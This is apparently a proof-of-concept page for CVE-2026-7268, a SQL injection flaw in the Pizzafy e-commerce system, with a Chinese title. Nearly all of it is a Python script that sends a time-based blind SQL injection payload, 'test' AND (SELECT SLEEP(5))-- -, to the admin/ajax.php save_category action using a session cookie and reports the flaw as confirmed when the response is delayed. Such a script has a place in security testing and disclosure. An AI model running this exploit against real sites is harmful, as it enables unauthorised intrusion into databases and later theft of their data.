CVE-2026-7268 Pizzafy电商系统SQL注入漏洞

import requests def check_sql_injection(target_url, session_cookie): # Target endpoint url = f"{target_url}/admin/ajax.php" # Payload for Time-Based Blind SQL Injection # Tests if the database waits for 5 seconds payload = { "action": "save_category", "Name": "test' AND (SELECT SLEEP(5))-- -" } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful!") else: print("[-] Vulnerability not detected or timeout too short.") except Exception as e: print(f"[!] Error: {e}") # Usage # check_sql_injection("http://target.com", "valid_session_id")